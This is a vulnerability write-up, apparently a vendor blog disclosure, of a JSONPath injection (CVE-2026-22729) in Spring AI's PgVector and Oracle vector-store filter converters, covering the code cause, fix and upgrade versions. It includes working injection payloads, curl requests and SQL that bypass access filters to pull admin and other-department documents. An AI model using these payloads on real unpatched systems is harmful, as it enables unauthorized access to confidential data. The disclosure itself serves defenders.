While auditing the MariaDB vector store in Spring AI (see: https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/), we had Bugdazz — our autonomous pentest AI running the Rabit0 model — look at the base class shared across all Spring AI vector store adapters: `AbstractFilterExpressionConverter`. The MariaDB finding was in the adapter’s own `doSingleValue` override. The question was whether the base class default was also unsafe, and which adapters inherited it without overriding.
The answer: the base class `doSingleValue` was the same pattern — user-controlled string values wrapped in quotes with no escaping — and `PgVectorFilterExpressionConverter` did not override it. Neither did the Oracle adapter. The injection surface was different from MariaDB (JSONPath instead of SQL), but the structural cause was identical.
Executive Summary
Before diving into exploitation mechanics and mitigation steps, it’s important to understand the basic profile of the vulnerability. Here is a brief snapshot:
- CVE ID: CVE-2026-22729
- Severity: High (CVSS 8.6 – JSONPath Injection)
- Affected Versions: Spring AI 1.0.x versions prior to 1.0.4 and 1.1.x versions prior to 1.1.3
- Fixed Versions: Spring AI 1.0.4 and 1.1.3 (or later)
- Attack Vector: JSONPath Injection via improper handling of string values in filter expressions, where user-controlled input is embedded into JSONPath queries without proper escaping
- Privileges Required: None (can be exploited via publicly accessible endpoints depending on implementation)
- User Interaction: None (exploitation possible via crafted HTTP requests)
- Impact: Access control bypass leading to unauthorized retrieval of sensitive data across tenants or roles, exposure of confidential information, and compromise of data isolation in RAG-based systems
The Vulnerable Code
`AbstractFilterExpressionConverter.java`, line 149 (pre-fix):
```java
protected void doSingleValue(Object value, StringBuilder context) {
if (value instanceof String) {
context.append(String.format("\"%s\"", value)); // no escaping
}
else {
context.append(value);
}
}
```
String values are wrapped in double quotes via `String.format(“\”%s\””, value)` and appended to the filter expression. No escaping of `”`, `\`, or control characters. If the value contains a double quote, the JSON string literal in the JSONPath expression ends at that character, and whatever follows is parsed as JSONPath syntax.
`PgVectorFilterExpressionConverter` and `OracleFilterExpressionConverter` both extended `AbstractFilterExpressionConverter` and did not override this method. They inherited the unsafe default.
How the Output Reaches PostgreSQL
In `PgVectorStore.java`, line 362:
```java
if (StringUtils.hasText(nativeFilterExpression)) {
jsonPathFilter = " AND metadata::jsonb @@ '" + nativeFilterExpression + "'::jsonpath ";
}
```
The converted filter expression is string-concatenated into a PostgreSQL JSONPath predicate. The `metadata::jsonb @@ ‘…’::jsonpath` operator evaluates the JSONPath expression against the document’s JSON metadata column. The filter expression is not parameterized — it is embedded directly in the SQL string as a quoted JSONPath literal.
This is structurally different from the MariaDB case: the target isn’t a SQL `WHERE` clause, it’s a JSONPath expression. But the consequence is the same — an attacker-controlled string that breaks out of its quoting context can inject arbitrary logic into the predicate.
Injection Mechanics
PostgreSQL’s JSONPath syntax uses double-quoted string literals. The expression `$.department == “HR”` evaluates to true when the `department` field equals `HR`.
The vulnerable `doSingleValue` method produces: `String.format(“\”%s\””, value)` — wrapping the value in double quotes with no internal escaping.
Given the payload `” || $.accessLevel == “admin`:
```
doSingleValue output: "" || $.accessLevel == "admin"
```
Which produces the full JSONPath expression:
```
$.accessLevel == "" || $.accessLevel == "admin"
```
Embedded in the SQL:
```sql
WHERE metadata::jsonb @@ '$.accessLevel == "" || $.accessLevel == "admin"'::jsonpath
```
PostgreSQL evaluates `$.accessLevel == “” || $.accessLevel == “admin”`. The first condition is false (the value is not an empty string). The second is true for any document where `accessLevel` is `admin`. The `||` operator is JSONPath’s logical OR. The predicate is true for all admin-level documents — regardless of what department or tenant the query was supposed to be scoped to.
Proof of Concept
We built a Spring Boot application backed by PostgreSQL with the pgvector extension. The controller exposed the `accessLevel` parameter directly to the filter:
```java
@GetMapping("/api/docs")
public List<Map<String, Object>> getDocuments(@RequestParam String accessLevel) {
System.out.println("[VULNERABLE] Access level filter: " + accessLevel);
var b = new FilterExpressionBuilder();
var filter = b.eq("accessLevel", accessLevel).build();
SearchRequest request = SearchRequest.defaults()
.withFilterExpression(filter)
.withTopK(10);
List<Document> results = vectorStore.similaritySearch(request);
...
}
```
Test data included user-level and admin-level documents with content like:
```
"Admin Secret Keys: API keys for production environment." → accessLevel: admin
"Admin Control Panel: Full system access with root privileges." → accessLevel: admin
"User Guide: How to use the dashboard." → accessLevel: user
```
Normal request:
```bash
curl "http://localhost:8080/api/docs?accessLevel=user"
```
```
[VULNERABLE] Access level filter: user
Generated JSONPath: $.accessLevel == "user"
SQL: ... WHERE metadata::jsonb @@ '$.accessLevel == "user"'::jsonpath
Result: 1 user document returned
```
Injection:
```bash
curl 'http://localhost:8080/api/docs?accessLevel=%22%20%7C%7C%20%24.accessLevel%20%3D%3D%20%22admin'
```
URL-decoded: `" || $.accessLevel == "admin`
```
[VULNERABLE] Access level filter: " || $.accessLevel == "admin
Generated JSONPath: $.accessLevel == "" || $.accessLevel == "admin"
SQL: ... WHERE metadata::jsonb @@ '$.accessLevel == "" || $.accessLevel == "admin"'::jsonpath
Result: 3 admin documents returned
```
A user-level request returned `Admin Secret Keys`, `Admin Control Panel`, and `Executive Compensation Details` — documents they have no access to.
Department injection — cross-tenant exfiltration:
```bash
curl 'http://localhost:8080/api/search?query=budget&department=%22%20%7C%7C%20%24.department%20%3D%3D%20%22Finance'
```
URL-decoded: `" || $.department == "Finance`
```
Generated JSONPath: $.department == "" || $.department == "Finance"
Result: Finance Q4 Budget ($5M, executive compensation), Finance Salary data (CEO $500K, CFO $350K)
```
An HR employee querying for HR documents retrieves Finance’s confidential compensation and budget data instead.
PostgreSQL direct proof — the injection is verifiable at the database level independently of the Spring application:
```sql
-- Normal (correct)
SELECT metadata->>'content' FROM documents
WHERE metadata::jsonb @@ '$.department == "HR"'::jsonpath;
-- 1 row: HR Policy
-- Injected (unauthorized)
SELECT metadata->>'content' FROM documents
WHERE metadata::jsonb @@ '$.department == "" || $.department == "Finance"'::jsonpath;
-- 2 rows: Finance Q4 Budget, Finance Salary Information
```
Why the Base Class Default Was Unsafe
`AbstractFilterExpressionConverter.doSingleValue` was concrete, not abstract. Any subclass that didn’t override it got `String.format(“\”%s\””, value)` — double-quote wrapping with no escaping.
The PgVector adapter’s JSONPath output format uses double-quoted string literals, so unescaped double quotes in the value break out of the literal. The MariaDB adapter’s SQL format uses single-quoted string literals, so unescaped single quotes are the injection vector. Same structural flaw, different delimiters.
The Oracle adapter had the same exposure for the same reason.
The fix addressed this by making `doSingleValue` abstract, forcing every adapter to implement it. In the same commit (`4602c23`), a new static helper `emitJsonValue()` was added to the base class — it delegates to Jackson’s `ObjectMapper.writeValueAsString()`, which handles all JSON string escaping correctly:
```java
protected static void emitJsonValue(Object value, StringBuilder context) {
try {
context.append(OBJECT_MAPPER.writeValueAsString(value));
}
catch (JacksonException e) {
throw new RuntimeException("Error serializing value to JSON.", e);
}
}
```
`PgVectorFilterExpressionConverter` now overrides `doSingleValue` and delegates to `emitJsonValue`:
```java
@Override
protected void doSingleValue(Object value, StringBuilder context) {
if (value instanceof Date date) {
emitJsonValue(ISO_DATE_FORMATTER.format(date.toInstant()), context);
}
else {
emitJsonValue(value, context);
}
}
```
Jackson’s `writeValueAsString` on the string `” || $.accessLevel == “admin` produces:
```
"\"\ || $.accessLevel == \"admin"
```
Which PostgreSQL parses as the literal string `” || $.accessLevel == “admin`. The `||` never reaches JSONPath’s parser as an operator.
Differences from MariaDB Finding
Both bugs are in the same commit, same base class, same method. But they are not the same vulnerability:
| Comparison Criteria | MariaDB (GHSA-c267-rfvc-mvpm) | PgVector (GHSA-rp9g-qx29-88cp) |
|---|---|---|
| Query Language | SQL | PostgreSQL JSONPath |
| Injection Delimiter | Single quote ' | Double quote " |
| Injection Operators | SQL: OR, AND, -- | JSONPath: ||, && |
| Delete Path | Yes — doDelete uses the same expression | No delete path with filter expressions |
| Scope | MariaDB adapter only | All adapters inheriting base class default (PgVector, Oracle) |
| CVSS PR | L (authenticated) | N (unauthenticated per advisory) |
The CVSS `PR:N` on the PgVector advisory reflects that many Spring AI search endpoints are publicly accessible — an application might not require authentication to query a knowledge base. The MariaDB finding assumed an authenticated user.
What This Looks Like in Practice
This is a genuine architectural risk in how Spring AI’s filter system is designed. The `FilterExpressionBuilder` API looks safe:
```java
var filter = new FilterExpressionBuilder()
.eq("department", department)
.build();
```
There is no indication in the API surface that the value passed to `.eq()` is handled unsafely. The builder produces a structured `Filter.Expression` object, not a raw string. A developer reading this code has no reason to think they need to validate `department` before passing it here — the framework is supposed to handle that.
The vulnerability exists inside the framework’s own serialization layer. Applications written exactly as the Spring AI documentation shows were vulnerable.
Affected Adapters
The advisory lists PgVector and Oracle explicitly. The root cause — inheriting the unsafe `AbstractFilterExpressionConverter.doSingleValue` default — potentially affected all adapters that did not override the method. The fix commit made `doSingleValue` abstract, so the full scope of exposure became visible as a compile-time check: every adapter had to implement it or fail to build.
Remediation
If you are using any impacted versions, upgrade directly to the corresponding fixed release listed below:
| Affected Versions | Fixed Version |
|---|---|
| 1.0.x versions upto 1.0.3 | 1.0.4 |
| 1.1.x versions upto 1.1.2 | 1.1.3 |
About This Research
Research Team:
Found by Bugdazz Autonomous Pentest AI (Rabit0 model) + manual verification by Sandeep Kamble, SecureLayer7
Disclosure Timeline:
Dec 31, 2025 – Advisory submitted to Spring Security team
Mar 17, 2026 – Fix released. Advisory closed
Related Reading:
Advisory: [GHSA-rp9g-qx29-88cp](https://github.com/advisories/GHSA-rp9g-qx29-88cp)
https://www.cyber.gc.ca/en/alerts-advisories/spring-security-advisory-av26-245


